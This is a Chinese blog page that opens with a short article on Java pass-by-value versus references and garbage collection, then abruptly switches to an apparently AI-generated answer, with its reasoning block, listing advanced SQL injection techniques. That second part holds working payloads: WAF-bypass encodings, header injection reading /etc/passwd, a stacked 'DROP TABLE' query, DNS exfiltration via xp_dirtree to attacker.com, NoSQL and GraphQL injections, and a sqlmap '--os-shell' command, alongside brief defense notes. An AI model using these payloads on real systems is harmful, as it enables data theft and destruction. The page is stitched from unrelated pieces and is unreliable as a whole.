基础夯实

本文通过示例代码深入探讨了Java中传值与传引用的区别,特别是针对集合类对象的操作,解释了为何需要显式地从集合中移除元素以避免内存泄漏。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

阅读一些开源代码与框架,基础知识如果不扎实,阅读理解起来,总感觉雾里看花,这篇博客是自己终将付出的代价,

 

1、java是传值还是传引用?

比如你看nio源码,发现一些常规的用法就是每次使用selectionKey,后面总会remove掉,如果不remove掉,selector中的selectionKeys(),注册的key将会无线膨胀,将会导致内存溢出。

public class TellMe {
	public static void main(String[] args) {
		Selector st = new Selector();
		st.addElement("中国");
		Set<String> citys = st.elements();
		//循环移除掉
		Iterator<String> iterator = citys.iterator();
		while(iterator.hasNext()){
			iterator.next();
			iterator.remove();
		}
		System.out.println("selector 里面 还有元素吗?"+ citys.size());
	}
}
class Selector{
	private  Set<String> keyset = new HashSet<String>();
	public  void addElement(String e){
		keyset.add(e);
	}
	public Set<String> elements(){
		return keyset;
	}
}

 

     

public class Dev2Test { 
public static void main(String[] args) { 
List<Obj> objs = new ArrayList<Obj>(); 
Obj Obj = new Obj(); 
Obj.setAge(10); 
objs.add(Obj); 
Obj.setAge(20); 
Obj = null; 
System.out.println(Obj +" /\\ "+objs.get(0).getAge()+" /\\ "+objs.get(0)); 
System.out.println(); 
} 
} 
class Obj{ 
private int age; 
public int getAge() { 
return age; 
} 
public void setAge(int age) { 
this.age = age; 
} 
} 

   

 Obj = null;只是让Obj对象的Obj的引用去掉彼此间的引用关系,

实际objs中还保留了一个引用,所以还是    不会被gc掉的。

这篇文章讲得比较通俗易懂,java对象与引用http://www.thinkingbar.com/2013/08/java%E5%AF%B9%E8%B1%A1%E5%8F%8A%E5%85%B6%E5%BC%95%E7%94%A8/

<think>好的,用户现在是一位自称基础夯实的白帽子,想要了解SQL注入的高级手法。首先,我需要确定用户的基础水平,虽然他说基础夯实,但“高级手法”可能涵盖很多内容,我需要从基础到进阶的结构来组织信息,确保他能够逐步理解。 用户之前的问题是关于预编译查询绕过和双引号报错的情况,可能他现在已经掌握了基本的注入技巧,现在希望深入更高阶的方法。所以,我需要覆盖那些超出基础联合查询或报错注入的内容,比如时间盲注、二次注入、堆叠查询等,同时也要包括绕过WAF的技巧和新型数据库的特性。 接下来,我需要考虑如何分类这些高级手法,以便用户能够系统地学习。可能分成几个大类,比如绕过防御机制、非常规注入点、高级利用技巧、特定数据库特性、工具配合使用等。每个类别下再细分具体的技术点,例如编码绕过、预编译绕过、非常规协议注入等。 同时,用户可能需要实际案例或示例来理解这些手法的应用场景。比如,二次注入的例子,或者利用数据库特性如JSON注入的具体Payload。这些例子需要简洁明了,让用户能够快速抓住要点。 还要注意强调防御机制,因为了解攻击手法的同时,知道如何防御也是白帽子的职责。比如,在介绍每种高级手法时,可以简要提及相应的防御措施,帮助用户全面理解。 另外,用户可能对自动化工具的使用感兴趣,比如如何配合sqlmap的tamper脚本进行高级测试。需要给出具体的命令示例,并解释每个参数的作用,这样用户可以直接应用。 最后,需要提醒用户在进行高级注入测试时的注意事项,比如法律授权、避免对生产环境造成影响等,确保其行为符合道德和法律规范。 总结下来,回答的结构应该是先分类高级手法,每个类别下详细说明技术点,提供示例和防御建议,最后补充工具使用和注意事项。这样既系统又实用,能够满足用户从基础到进阶的学习需求。</think>以下是针对SQL注入的**高级手法与深度防御绕过技巧**的系统化梳理,涵盖非传统场景、新型数据库特性及防御绕过策略: --- ### 一、绕过防御机制类 #### 1. **预编译查询绕过** - **场景**:当SQL语句中**动态拼接表名/列名/排序字段**时 ```sql -- 原语句:SELECT * FROM products ORDER BY $user_input 注入Payload:`id` ASC,(CASE WHEN (SELECT CURRENT_USER)=’admin’ THEN SLEEP(5) ELSE 0 END) ``` - **防御建议**:白名单校验排序字段 #### 2. **WAF规则绕过** - **多重编码混淆**: ```sql %2522union%250Aselect%23x%0A1,2,3%2523 ``` 解码后等价于:`"union select 1,2,3#` - **空白符变异**: ```sql SELECT/*!50000+user*/FROM/*![mysql.user*/--%0a] ``` 利用MySQL内联注释特性绕过关键词检测 --- ### 二、非常规注入点类 #### 1. **JSON/XML参数注入** - **场景**:后端解析JSON/XML时提取参数值拼接SQL ```json {"filter": {"name":"admin\" OR 1=1 -- "}} ``` - **防御建议**:对所有输入源进行统一过滤 #### 2. **HTTP头注入** - **攻击向量**: ``` X-Forwarded-For: 1.1.1.1' AND (SELECT LOAD_FILE('/etc/passwd')) IS NOT NULL -- ``` 适用于日志分析系统等场景 --- ### 三、高级利用手法类 #### 1. **堆叠查询注入(Stacked Queries)** - **适用数据库**:SQL Server、PostgreSQL ```sql '; DROP TABLE users; -- ``` - **防御建议**:禁用多语句执行 #### 2. **带外数据渗出(OOB Exfiltration)** - **DNS外带数据**(适用于无回显场景): ```sql '; DECLARE @q VARCHAR(100);SET @q=(SELECT TOP 1 column_name FROM information_schema.columns); EXEC('master..xp_dirtree "\\'+@q+'.attacker.com\"'); -- ``` - **防御建议**:限制数据库外连权限 --- ### 四、新型数据库特性利用 #### 1. **NoSQL注入(MongoDB示例)** - **注入Payload**: ```javascript username[$ne]=1&password[$regex]=^a ``` 探测密码首字母是否为a #### 2. **GraphQL注入** - **恶意查询构造**: ```graphql query { users(filter: "id=1 UNION SELECT * FROM passwords") } ``` --- ### 五、特殊场景攻击链 #### 1. **二次注入攻击** - **攻击流程**: 1. 注册用户名:`admin' -- ` 2. 修改密码时触发:`UPDATE users SET password='newpass' WHERE username='admin' -- '` - **防御建议**:存入数据库前进行二次过滤 #### 2. **文件系统结合攻击** - **MySQL LOAD_FILE利用**: ```sql UNION SELECT LOAD_FILE('/etc/passwd'),2,3 -- ``` --- ### 六、自动化工具高级用法 #### sqlmap进阶参数组合: ```bash sqlmap -u "http://target.com/search?q=test" \ --level=5 --risk=3 \ --tamper=charencode,space2comment \ --dbms=mysql \ --os-shell ``` - **关键参数**: - `--search`:自动搜索表名中包含"password"的字段 - `--sql-query`:直接执行自定义SQL语句 --- ### 七、防御对抗checklist | 防御层 | 攻击手段 | 防御方案 | |----------------|---------------------------|-----------------------------| | 输入过滤 | 编码绕过/空白符变异 | 统一输入解码后校验 | | 权限控制 | 文件读取/系统命令执行 | 数据库账户最小权限原则 | | 日志监控 | 盲注慢速攻击 | 设置SQL执行时间阈值 | | 架构设计 | NoSQL注入 | 使用严格Schema验证的ORM框架 | --- ### 八、法律与伦理边界 1. 必须获得**书面授权**后再测试 2. 禁止使用`DROP TABLE`等破坏性语句 3. 发现漏洞后立即停止深入利用 建议结合OWASP SQL注入备忘单([Cheat Sheet](https://cheatsheetseries.owasp.org/cheatsheets/SQL_Injection_Prevention_Cheat_Sheet.html))进行系统性学习。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值